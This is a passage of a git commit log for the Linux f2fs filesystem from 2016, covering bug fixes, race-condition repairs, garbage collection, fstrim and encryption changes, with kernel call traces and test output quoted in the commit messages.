ffff92fb88a13d58 R10: 000000005a6a9373 R11: 0000000000000001 R12: 00000000fffffffb R13: ffff92fb8ee12000 R14: 00000000000034ca R15: ffff92fb8ee12620 FS: 00007f1fefd8e880(0000) GS:ffff92fb95600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fc211d34cdb CR3: 000000012d43a000 CR4: 00000000001406e0 Stack: ffff92f890566ea0 ffff92f890567078 ffffffffc0b5a0c0 ffff92f890566f28 ffff92fb888b2000 ffff92f8b7fb7c80 ffffffffbc27ff55 ffff92f890566ea0 ffff92fb8bf10000 ffffffffc0b5a0c0 ffff92f8b7fb7cb0 ffffffffbc28090d Call Trace: [] evict+0xc5/0x1a0 [] iput+0x1ad/0x2c0 [] recover_orphan_inodes+0x10c/0x2e0 [f2fs] [] f2fs_fill_super+0x884/0x1150 [f2fs] [] mount_bdev+0x18c/0x1c0 [] ? f2fs_commit_super+0x100/0x100 [f2fs] [] f2fs_mount+0x15/0x20 [f2fs] [] mount_fs+0x39/0x170 [] vfs_kern_mount+0x6b/0x160 [] do_mount+0x1cf/0xd00 [] ? copy_mount_options+0xac/0x170 [] SyS_mount+0x83/0xd0 [] entry_SYSCALL_64_fastpath+0x23/0xc1 Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 57624a7cdeaa927b4d02d2070ffd121d5428c2fa Author: Jaegeuk Kim Date: Wed Sep 21 09:37:23 2016 -0700 f2fs: avoid gc in cp_error case Otherwise, we can hit f2fs_bug_on(sbi, !PageUptodate(sum_page)); Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 22b038d68c127b293ef1edd3f0ade3dea4b19153 Author: Jaegeuk Kim Date: Wed Sep 21 09:34:48 2016 -0700 f2fs: should put_page for summary page We should call put_page for preloaded summary pages in do_garbage_collect. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8d03e3021ecf33f02d7d7d4fc609c41af66dee93 Author: Jaegeuk Kim Date: Wed Sep 21 09:28:06 2016 -0700 f2fs: assign return value in f2fs_gc This patch adds a return value of write_checkpoint for f2fs_gc. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 912bcdb9ff3079bb1e9d918bf19eabeb0f303918 Author: Chao Yu Date: Tue Sep 20 11:04:18 2016 +0800 f2fs: introduce cp_lock to protect updating of ckpt_flags This patch introduces spinlock to protect updating process of ckpt_flags field in struct f2fs_checkpoint, it avoids incorrectly updating in race condition. Signed-off-by: Chao Yu [Jaegeuk Kim: add __is_set_ckpt_flags likewise __set_ckpt_flags] Signed-off-by: Jaegeuk Kim commit 961e287ab466649509f73c131a412586c61907f9 Author: Chao Yu Date: Tue Sep 20 10:29:47 2016 +0800 f2fs: fix to avoid race condition when updating sbi flag Making updating of sbi flag atomic by using {test,set,clear}_bit, otherwise in concurrency scenario, the flag could be updated incorrectly. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit dd1105bed68c976173f19455e2f098f352da5558 Author: Jaegeuk Kim Date: Mon Sep 19 18:13:54 2016 -0700 f2fs: put directory inodes before checkpoint in roll-forward recovery Before checkpoint, we'd be better drop any inodes. Signed-off-by: Jaegeuk Kim commit 6d82ac141f4db3025205a78b4075ded81fc66a09 Author: Jaegeuk Kim Date: Mon Sep 19 17:55:10 2016 -0700 f2fs: use crc and cp version to determine roll-forward recovery Previously, we used cp_version only to detect recoverable dnodes. In order to avoid same garbage cp_version, we needed to truncate the next dnode during checkpoint, resulting in additional discard or data write. If we can distinguish this by using crc in addition to cp_version, we can remove this overhead. There is backward compatibility concern where it changes node_footer layout. So, this patch introduces a new checkpoint flag, CP_CRC_RECOVERY_FLAG, to detect new layout. New layout will be activated only when this flag is set. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/recovery.c commit ce5b1f250fa1bae8ff098434334c5d92028482a8 Author: Yunlei He Date: Sun Sep 18 08:16:56 2016 +0800 f2fs: preallocate blocks for encrypted file This patch allow preallocates data blocks for buffered aio writes in encrypted file. Signed-off-by: Yunlei He Reviewed-by: Chao Yu [Jaegeuk Kim: fix to avoid BUG_ON] Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 9d443c78fb6945979268cb7c0abad3c4fc7d0aa6 Author: Chao Yu Date: Sun Sep 18 23:30:08 2016 +0800 f2fs: show dirty inode number This patch enables showing dirty inode number in procfs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0ab9ba0db4fd7899288a7f1c44b1ee76cd155c99 Author: Chao Yu Date: Sun Sep 18 23:30:07 2016 +0800 f2fs: support IO error injection This patch adds to support IO error injection for testing IO error tolerance of f2fs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0c5f7df7ba92f4dc95508333b8e3dc297cb2f6f5 Author: Chao Yu Date: Sun Sep 18 23:30:04 2016 +0800 f2fs: fix to return error number of read_all_xattrs correctly We treat all error in read_all_xattrs as a no memory error, which covers the real reason of failure in it. Fix it by return correct errno in order to reflect the real cause. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a85acb8aa48e00d443982aca79265ffb2b0d4952 Author: Chao Yu Date: Sun Sep 18 23:30:03 2016 +0800 f2fs: make f2fs_filetype_table static There is no more user of f2fs_filetype_table outside of dir.c, make it static. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 42b2fe9ed2ad951e95bb86a7b25491ae410f18a0 Author: Jaegeuk Kim Date: Mon Sep 12 15:08:37 2016 -0700 f2fs: handle error in recover_orphan_inode This patch enhances the error path in recover_orphan_inode. Signed-off-by: Jaegeuk Kim commit 663c5fbdaba0ff5fbf127cd31ad4f5268c6e765f Author: Tiezhu Yang Date: Wed Sep 14 03:00:02 2016 +0800 f2fs: remove dead code f2fs_check_acl The macro f2fs_check_acl is defined but never used since the initial commit, this patch removes the code that has been dead for several years. Signed-off-by: Tiezhu Yang Signed-off-by: Jaegeuk Kim commit 8dbc9b32b0bb4c55c6763b9ad41fac0b86497c76 Author: Fan Li Date: Tue Sep 13 11:35:42 2016 +0800 f2fs: exclude special cases for f2fs_move_file_range When src and dst is the same file, and the latter part of source region overlaps with the former part of destination region, current implement will overwrite data which hasn't been moved yet and truncate data in overlapped region. This patch return -EINVAL when such cases occur and return 0 when source region and destination region is actually the same part of the same file. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit b06436e7e291dc43f38cf57983123f976d43ad37 Author: Jaegeuk Kim Date: Tue Sep 6 11:02:03 2016 -0700 f2fs: fix to set PageUptodate in f2fs_write_end correctly Previously, f2fs_write_begin sets PageUptodate all the time. But, when user tries to update the entire page (i.e., len == PAGE_SIZE), we need to consider that the page is able to be copied partially afterwards. In such the case, we will lose the remaing region in the page. This patch fixes this by setting PageUptodate in f2fs_write_end as given copied result. In the short copy case, it returns zero to let generic_perform_write retry copying user data again. As a result, f2fs_write_end() works: PageUptodate len copied return retry 1. no 4096 4096 4096 false -> return 4096 2. no 4096 1024 0 true -> goto #1 case 3. yes 2048 2048 2048 false -> return 2048 4. yes 2048 1024 1024 false -> return 1024 Suggested-by: Al Viro Signed-off-by: Jaegeuk Kim commit 13859a5096d0be75074215dc9db5540e78f98bbc Author: Fan Li Date: Sat Sep 10 11:19:37 2016 +0800 f2fs: fix parameters of __exchange_data_block __exchange_data_block should take block indexes as parameters instead of offsets in bytes. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit 31b0d7532a91142a7b39d636e3ed217214927450 Author: Jaegeuk Kim Date: Fri Sep 9 16:59:39 2016 -0700 f2fs: avoid ENOMEM during roll-forward recovery This patch gives another chances during roll-forward recovery regarding to -ENOMEM. Signed-off-by: Jaegeuk Kim commit d4e87f4e627cbd535813f4e420eb9812ed2a4804 Author: Jaegeuk Kim Date: Fri Sep 9 16:48:15 2016 -0700 f2fs: add common iget in add_fsync_inode There is no functional change. Signed-off-by: Jaegeuk Kim commit 55df7937bfc6a692f210fa6f8bac90524f28de9e Author: Jaegeuk Kim Date: Thu Sep 1 12:02:51 2016 -0700 f2fs: check free_sections for defragmentation Fix wrong condition check for defragmentation of a file. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9ce98b7c57e2506f92153f6ca32e53aa370fa0cb Author: Yunlei He Date: Thu Sep 1 10:14:39 2016 +0800 f2fs: forbid to do fstrim if fs has some error This patch skip fstrim if sbi set SBI_NEED_FSCK flag Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit b03aed52db9e4daf4bc43c77c021922b250014a1 Author: Jaegeuk Kim Date: Tue Sep 6 15:55:54 2016 -0700 f2fs: avoid page allocation for truncating partial inline_data When truncating cached inline_data, we don't need to allocate a new page all the time. Instead, it must check its page cache only. Signed-off-by: Jaegeuk Kim commit d28b7bb2b701f5ff1bab1a0bf722fd5048b8dc3f Author: Jaegeuk Kim Date: Tue Sep 6 13:31:56 2016 -0700 f2fs: no need to make zeros beyond i_size We don't need to make zeros beyond i_size, since we already wrote that through NEW_ADDR case. Reported-by: Al Viro Signed-off-by: Jaegeuk Kim commit 71a4a0c66aafe666c1dcbaa504ef65e7fd9c5223 Author: Chao Yu Date: Mon Sep 5 12:28:27 2016 +0800 f2fs: fix to detect temporary name of multimedia file Some applications may create multimeida file with temporary name like '*.jpg.tmp' or '*.mp4.tmp', then rename to '*.jpg' or '*.mp4'. Now, f2fs can only detect multimedia filename with specified format: "filename + '.' + extension", so it will make f2fs missing to detect multimedia file with special temporary name, result in failing to set cold flag on file. This patch enhances detection flow for enabling lookup extension in the middle of temporary filename. Reported-by: Xue Liu Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 871e9b2938854c1b2fca151115507414f04723aa Author: Jaegeuk Kim Date: Wed Aug 31 16:20:37 2016 -0700 f2fs: set dentry bits on random location in memory This fixes pointer panic when using inline_dentry, which was triggered when backporting to 3.10. Signed-off-by: Jaegeuk Kim commit bf0a5f439c81aa7204fbc319f149ea4c1d50f2ab Author: Chao Yu Date: Wed Aug 31 10:43:19 2016 +0800 f2fs: fix to set superblock dirty correctly tests/generic/251 of fstest suit complains us with below message: ------------[ cut here ]------------ invalid opcode: 0000 [#1] PREEMPT SMP CPU: 2 PID: 7698 Comm: fstrim Tainted: G O 4.7.0+ #21 task: e9f4e000 task.stack: e7262000 EIP: 0060:[] EFLAGS: 00010202 CPU: 2 EIP is at write_checkpoint+0xfde/0x1020 [f2fs] EAX: f33eb300 EBX: eecac310 ECX: 00000001 EDX: ffff0001 ESI: eecac000 EDI: eecac5f0 EBP: e7263dec ESP: e7263d18 DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 CR0: 80050033 CR2: b76ab01c CR3: 2eb89de0 CR4: 000406f0 Stack: 00000001 a220fb7b e9f4e000 00000002 419ff2d3 b3a05151 00000002 e9f4e5d8 e9f4e000 419ff2d3 b3a05151 eecac310 c10b8154 b3a05151 419ff2d3 c10b78bd e9f4e000 e9f4e000 e9f4e5d8 00000001 e9f4e000 ec409000 eecac2cc eecac288 Call Trace: [] ? __lock_acquire+0x3c4/0x760 [] ? mark_held_locks+0x5d/0x80 [] f2fs_trim_fs+0x1c2/0x2e0 [f2fs] [] f2fs_ioctl+0x6b6/0x10b0 [f2fs] [] ? __this_cpu_preempt_check+0xf/0x20 [] ? trace_hardirqs_off_caller+0x91/0x120 [] ? __exchange_data_block+0xd30/0xd30 [f2fs] [] do_vfs_ioctl+0x81/0x7f0 [] ? kmem_cache_free+0x245/0x2e0 [] ? get_unused_fd_flags+0x40/0x40 [] ? putname+0x4c/0x50 [] ? do_sys_open+0x16e/0x1d0 [] ? do_fast_syscall_32+0x30/0x1c0 [] ? __this_cpu_preempt_check+0xf/0x20 [] SyS_ioctl+0x58/0x80 [] do_fast_syscall_32+0xa1/0x1c0 [] sysenter_past_esp+0x45/0x74 EIP: [] write_checkpoint+0xfde/0x1020 [f2fs] SS:ESP 0068:e7263d18 ---[ end trace 4de95d7e6b3aa7c6 ]--- The reason is: with below call stack, we will encounter BUG_ON during doing fstrim. Thread A Thread B - write_checkpoint - do_checkpoint - f2fs_write_inode - update_inode_page - update_inode - set_page_dirty - f2fs_set_node_page_dirty - inc_page_count - percpu_counter_inc - set_sbi_flag(SBI_IS_DIRTY) - clear_sbi_flag(SBI_IS_DIRTY) Thread C Thread D - f2fs_write_node_page - set_node_addr - __set_nat_cache_dirty - nm_i->dirty_nat_cnt++ - do_vfs_ioctl - f2fs_ioctl - f2fs_trim_fs - write_checkpoint - f2fs_bug_on(nm_i->dirty_nat_cnt) Fix it by setting superblock dirty correctly in do_checkpoint and f2fs_write_node_page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 833a7f5f6ca09bcaed2fc23915d2cffefd358a2a Author: Shuoran Liu Date: Mon Aug 29 11:27:56 2016 +0800 f2fs: add roll-forward recovery process for encrypted dentry Add roll-forward recovery process for encrypted dentry, so the first fsync issued to an encrypted file does not need writing checkpoint. This improves the performance of the following test at thousands of small files: open -> write -> fsync -> close Signed-off-by: Shuoran Liu Acked-by: Chao Yu [Jaegeuk Kim: modify kernel message to show encrypted names] Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/dir.c fs/f2fs/f2fs.h commit b58e73a7659ff1285b6ce05bd9de6332f282be02 Author: Jaegeuk Kim Date: Mon Aug 29 18:23:45 2016 -0700 f2fs: fix lost xattrs of directories This patch enhances the xattr consistency of dirs from suddern power-cuts. Possible scenario would be: 1. dir->setxattr used by per-file encryption 2. file->setxattr goes into inline_xattr 3. file->fsync In that case, we should do checkpoint for #1. Otherwise we'd lose dir's key information for the file given #2. Signed-off-by: Jaegeuk Kim commit f3949e40e6fd94b2ca91515dc933e984a0d6c7e1 Author: Shuoran Liu Date: Mon Aug 29 11:27:55 2016 +0800 f2fs: set encryption name flag in add inline entry path This patch sets encryption name flag in the add inline entry path if filename is encrypted. Signed-off-by: Shuoran Liu Signed-off-by: Jaegeuk Kim commit 417a5027358ff19adb65edfa41e955f0528a8b98 Author: Chao Yu Date: Sun Aug 28 22:00:12 2016 +0800 f2fs crypto: avoid unneeded memory allocation in ->readdir When decrypting dirents in ->readdir, fscrypt_fname_disk_to_usr won't change content of original encrypted dirent, we don't need to allocate additional buffer for storing mirror of it, so get rid of it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4ead7240722d25fa0dceb61232e5c83abc1a617c Author: Chao Yu Date: Sun Aug 28 18:57:55 2016 +0800 f2fs: fix to do security initialization of encrypted inode with original filename When creating new inode, security_inode_init_security will be called for initializing security info related to the inode, and filename is passed to security module, it helps security module such as SElinux to know which rule or label could be applied for the inode with specified name. Previously, if new inode is created as an encrypted one, f2fs will transfer encrypted filename to security module which may fail the check of security policy belong to the inode. So in order to this issue, alter to transfer original unencrypted filename instead. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit ff5609a9d6e0e3438bbc8ddbf07f158402ce5a9a Author: Chao Yu Date: Sat Aug 27 00:14:31 2016 +0800 f2fs: do in batch synchronously readahead during GC In order to enhance performance, we try to readahead node page during GC, but before loading node page we should get block address of node page which is stored in NAT table, so synchronously read of single NAT page block our readahead flow. f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0xa1e, oldaddr = 0xa1e, newaddr = 0xa1e, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x35e9, oldaddr = 0x72d7a, newaddr = 0x72d7a, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0xc1f, oldaddr = 0xc1f, newaddr = 0xc1f, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x389d, oldaddr = 0x72d7d, newaddr = 0x72d7d, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x3a82, oldaddr = 0x72d7f, newaddr = 0x72d7f, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x3bfa, oldaddr = 0x72d86, newaddr = 0x72d86, rw = READAHEAD ^H, type = NODE This patch adds one phase that do readahead NAT pages in batch before readahead node page for more effeciently. f2fs_submit_page_bio: dev = (251,0), ino = 2, page_index = 0x1952, oldaddr = 0x1952, newaddr = 0x1952, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc34, oldaddr = 0xc34, newaddr = 0xc34, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa33, oldaddr = 0xa33, newaddr = 0xa33, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc30, oldaddr = 0xc30, newaddr = 0xc30, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc32, oldaddr = 0xc32, newaddr = 0xc32, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc26, oldaddr = 0xc26, newaddr = 0xc26, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa2b, oldaddr = 0xa2b, newaddr = 0xa2b, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc23, oldaddr = 0xc23, newaddr = 0xc23, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc24, oldaddr = 0xc24, newaddr = 0xc24, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xa10, oldaddr = 0xa10, newaddr = 0xa10, rw = READ_SYNC(MP), type = META f2fs_submit_page_mbio: dev = (251,0), ino = 2, page_index = 0xc2c, oldaddr = 0xc2c, newaddr = 0xc2c, rw = READ_SYNC(MP), type = META f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5db7, oldaddr = 0x6be00, newaddr = 0x6be00, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5db9, oldaddr = 0x6be17, newaddr = 0x6be17, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dbc, oldaddr = 0x6be1a, newaddr = 0x6be1a, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc3, oldaddr = 0x6be20, newaddr = 0x6be20, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc7, oldaddr = 0x6be24, newaddr = 0x6be24, rw = READAHEAD ^H, type = NODE f2fs_submit_page_bio: dev = (251,0), ino = 1, page_index = 0x5dc9, oldaddr = 0x6be25, newaddr = 0x6be25, rw = READAHEAD ^H, type = NODE Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7caee83b2c1a5028b96a18f287e97c416acb8c41 Author: Chao Yu Date: Sun Aug 21 23:21:30 2016 +0800 f2fs: schedule in between two continous batch discards In batch discard approach of fstrim will grab/release gc_mutex lock repeatly, it makes contention of the lock becoming more intensive. So after one batch discards were issued in checkpoint and the lock was released, it's better to do schedule() to increase opportunity of grabbing gc_mutex lock for other competitors. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8b7b6efc6d09f86777f726b4bf47a74be480cd3a Author: Chao Yu Date: Mon May 9 19:56:34 2016 +0800 f2fs: enable inline_dentry by default and add noinline_dentry option Make inline_dentry as default mount option to improve space usage and IO performance in scenario of numerous small directory. It adds noinline_dentry mount option, instead. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 21bf5c847b6e2a4546d2d836e121d2f787d37438 Author: Shuoran Liu Date: Thu Aug 25 20:42:09 2016 +0800 f2fs: fix a bug when using namehash to locate dentry bucket In the following scenario, 1) we don't have the key and doing a lookup for encrypted file, 2) and the encrypted filename is big name we should use fname->hash as name hash value instead of what is calculated by fname->disk_name. Because in such case, fname->disk_name is empty. Signed-off-by: Shuoran Liu Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 746be6132f4a1aa3b96907980c264bfde22bfd3e Author: Chao Yu Date: Sat Aug 20 15:12:01 2016 +0800 f2fs: fix to preallocate block only aligned to 4K In write_begin(), we skip checking dnode block for preallocating block when whole block needs to be updated since we preallocated its block in f2fs_preallocate_blocks, for partial updated block, we will still try to lock its node and do preallocation in write_begin(), so in f2fs_preallocate_blocks we should not preallocate its block. But previously, the calculation of preallocating block number is incorrect, fix it. Signed-off-by: Chao Yu [Jaegeuk Kim: fix a bug] Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 3ea699cb8515eb0b640e8790d4a467bdc09991cb Author: Wei Yongjun Date: Tue Aug 23 15:23:59 2016 +0000 f2fs: fix non static symbol warning Fixes the following sparse warning: fs/f2fs/data.c:969:12: warning: symbol 'f2fs_grab_bio' was not declared. Should it be static? Signed-off-by: Wei Yongjun Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a1d3bb63b39b3ef03be9a752e2336a8ba64d5ed7 Author: Sheng Yong Date: Tue Aug 23 20:10:47 2016 +0800 f2fs: remove unnecessary initialization `flags' is used to save value from userspace, there is no need to initialize it, and FS_FL_USER_VISIBLE is the mask for getflags. Signed-off-by: Sheng Yong Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 441f3a1e90f34020656f831ae9de9ccfaa7cf412 Author: Chao Yu Date: Sun Aug 21 23:21:31 2016 +0800 f2fs: remove redundant judgement condition in available_free_memory In available_free_memory, there are two same judgement conditions which is used for checking NAT excess, remove one of them. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e3621a7f1354ba04825a9054b414576e9d4c8709 Author: Chao Yu Date: Sun Aug 21 23:21:29 2016 +0800 f2fs: check return value of write_checkpoint during fstrim During fstrim, if one of multiple write_checkpoint failed, break off and return error number to caller. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a6ca4b51228fb0bf3d9560c54fd3d5ee65080f41 Author: Chao Yu Date: Sat Aug 20 15:12:02 2016 +0800 f2fs: fix to do f2fs_balance_fs in f2fs_map_blocks correctly If we preallocate blocks with f2fs_reserve_blocks in f2fs_map_blocks, we should call f2fs_balance_fs for checking and reclaiming space, fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit bb52d6262840afc493b2abbe9e06060cec056559 Author: Chao Yu Date: Fri Aug 19 23:13:47 2016 +0800 f2fs: avoid unneeded loop in build_sit_entries When building each sit entry in cache, firstly, we will load it from sit page, and then check all entries in sit journal, if there is one updated entry in journal, cover cached entry with the journaled one. Actually, most of check operation is unneeded since we only need to update cached entries with journaled entries in batch, so changing the flow as below for more efficient: 1. load all sit entries into cache from sit pages; 2. update sit entries with journal. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 656007d4a3a15f2e9390a37f1870b47e334b525a Author: Chao Yu Date: Fri Aug 19 23:13:46 2016 +0800 f2fs: clean up foreground GC flow This patch changes to check valid block number of one GCed section directly instead of checking the number in all segments of section one by one in order to clean up codes of foreground GC. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f951a2ec95ec6fc3154af3fd8da0cdb04298d8b5 Author: Chao Yu Date: Thu Aug 18 17:46:14 2016 +0800 f2fs: set dirty state for filesystem only when updating meta data We don't guarantee integrity of user data after checkpoint, since we only guarantee meta data integrity for data consistency of filesystem. Due to above reason, we only need to set fs as dirty when meta data is updated, so that we can skip writing checkpoint in some case of non-meta data is updated. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f5c1a1920e150d7801767d8410b47fa01fae5a62 Author: Yunlei He Date: Thu Aug 18 21:01:19 2016 +0800 f2fs: skip new checkpoint when doing fstrim without fs change This patch enables to do fstrim without checkpoint, if there is no fs change. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit 0c4b196d5583d1805674c26b3f86dca7040b6fde Author: Yunlei He Date: Thu Aug 18 21:01:18 2016 +0800 f2fs: add discard info to sys entry of f2fs status This patch add discard block count to sys entry of f2fs status Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit cd2f539eb9cd965bdd8148f07e18de695d239ca3 Author: Jaegeuk Kim Date: Thu Aug 11 10:18:38 2016 +0800 f2fs: reduce batch size of fstrim This is to reduce the batch size of fstrim to avoid long latency. Signed-off-by: Jaegeuk Kim commit a22f6a03106a6f611b08b68afc162df6f04cba1e Author: Jaegeuk Kim Date: Tue Aug 2 10:56:40 2016 -0700 f2fs: do not use discard_map for hard disks We don't need to keep discard_map, if disk does not support discard command. Signed-off-by: Jaegeuk Kim commit 1ba0ed562e8fc03caef6dc916f82979c30d11279 Author: Yunlei He Date: Thu Jul 28 12:12:38 2016 +0800 f2fs: not allow to write illegal blkaddr we came across an error as below: [build_nat_area_bitmap:1710] nid[0x 1718] addr[0x 1c18ddc] ino[0x 1718] [build_nat_area_bitmap:1710] nid[0x 1719] addr[0x 1c193d5] ino[0x 1719] [build_nat_area_bitmap:1710] nid[0x 171a] addr[0x 1c1736e] ino[0x 171a] [build_nat_area_bitmap:1710] nid[0x 171b] addr[0x 58b3ee8f] ino[0x815f92ed] [build_nat_area_bitmap:1710] nid[0x 171c] addr[0x fcdc94b] ino[0x49366377] [build_nat_area_bitmap:1710] nid[0x 171d] addr[0x 7cd2facf] ino[0xb3c55300] [build_nat_area_bitmap:1710] nid[0x 171e] addr[0x bd4e25d0] ino[0x77c34c09] ... ... [build_nat_area_bitmap:1710] nid[0x 1718] addr[0x 1c18ddc] ino[0x 1718] [build_nat_area_bitmap:1710] nid[0x 1719] addr[0x 1c193d5] ino[0x 1719] [build_nat_area_bitmap:1710] nid[0x 171a] addr[0x 1c1736e] ino[0x 171a] [build_nat_area_bitmap:1710] nid[0x 171b] addr[0x 58b3ee8f] ino[0x815f92ed] [build_nat_area_bitmap:1710] nid[0x 171c] addr[0x fcdc94b] ino[0x49366377] [build_nat_area_bitmap:1710] nid[0x 171d] addr[0x 7cd2facf] ino[0xb3c55300] [build_nat_area_bitmap:1710] nid[0x 171e] addr[0x bd4e25d0] ino[0x77c34c09] One nat block may be stepped by a data block, so this patch forbid to write if the blkaddr is illegal Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit 4f38b2554d193114e4191fd68eab6565f8785a76 Author: Chao Yu Date: Sat Aug 6 21:09:41 2016 +0800 Revert "f2fs: move i_size_write in f2fs_write_end" This reverts commit a2ee0a300344a6da76186129b078113354fe13d2. When testing with generic/032 of xfstest suit, failure message will be reported as below: generic/032 8s ... [failed, exit status 1] - output mismatch (see results/generic/032.out.bad) --- tests/generic/032.out 2015-01-11 16:52:27.643681072 +0800 +++ results/generic/032.out.bad 2016-08-06 13:44:43.861330500 +0800 @@ -1,5 +1,5 @@ QA output created by 032 -100 iterations -0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd -* -0100000 +1: [768..775]: unwritten +Unwritten extents found! ... (Run 'diff -u tests/generic/032.out results/generic/032.out.bad' to see the entire diff) Ran: generic/032 Failures: generic/032 Failed 1 of 1 tests In write_end(), we should update i_size of inode before unlock page, otherwise, we will lose newly updated data in following race condition. Thread A Thread B - write_end - unlock page - writepages - lock_page - writepage if page is out-of-range of file size, we will skip writting the page. - update i_size Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a1798be8f1b1a8ce86484d8f60e05b2eb4649b1a Author: Alexander Gordeev Date: Mon Aug 15 15:57:54 2016 +0300 f2fs: fix build for v3.10 kvfree() first appears in v3.15. f2fs_kvfree() should be used in the backport. Signed-off-by: Alexander Gordeev Signed-off-by: Jaegeuk Kim commit 34dc09ea493c34abb82e9be56d4b2db637e686d3 Author: Jaegeuk Kim Date: Fri Jul 22 16:15:24 2016 -0700 f2fs: adjust other changes This patch changes: - d_inode - file_dentry - inode_nohighmem - ... Signed-off-by: Jaegeuk Kim commit cc054201d1e103bb151a70ebeafe3be5ac90868e Author: Yunlei He Date: Fri Jul 22 19:08:31 2016 +0800 f2fs: get victim segment again after new cp Previous selected segment may become free after write_checkpoint, if we do garbage collect on this segment, and then new_curseg happen to reuse it, it may cause f2fs_bug_on as below. panic+0x154/0x29c do_garbage_collect+0x15c/0xaf4 f2fs_gc+0x2dc/0x444 f2fs_balance_fs.part.22+0xcc/0x14c f2fs_balance_fs+0x28/0x34 f2fs_map_blocks+0x5ec/0x790 f2fs_preallocate_blocks+0xe0/0x100 f2fs_file_write_iter+0x64/0x11c new_sync_write+0xac/0x11c vfs_write+0x144/0x1e4 SyS_write+0x60/0xc0 Here, maybe we check sit and ssa type during reset_curseg. So, we check segment is stale or not, and select a new victim to avoid this. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit 473075855b076e60e89d61774434e9b9ba946d82 Author: Jaegeuk Kim Date: Tue Jul 19 19:30:06 2016 -0700 f2fs: handle error case with f2fs_bug_on It's enough to show BUG or WARN by f2fs_bug_on for error case. Then, we don't need to remain corrupted filesystem. Signed-off-by: Jaegeuk Kim commit 5c4c0b4f6624421c17b9c0f55ee3fa9c33e0c21f Author: Jaegeuk Kim Date: Tue Jul 19 19:20:11 2016 -0700 f2fs: avoid data race when deciding checkpoin in f2fs_sync_file When fs utilization is almost full, f2fs_sync_file should do checkpoint if there is not enough space for roll-forward later. (i.e. space_for_roll_forward) So, currently we have no lock for sbi->alloc_valid_block_count, resulting in race condition. In rare case, we can get -ENOSPC when doing roll-forward which triggers if (is_valid_blkaddr(sbi, dest, META_POR)) { if (src == NULL_ADDR) { err = reserve_new_block(&dn); f2fs_bug_on(sbi, err); ... } ... } in 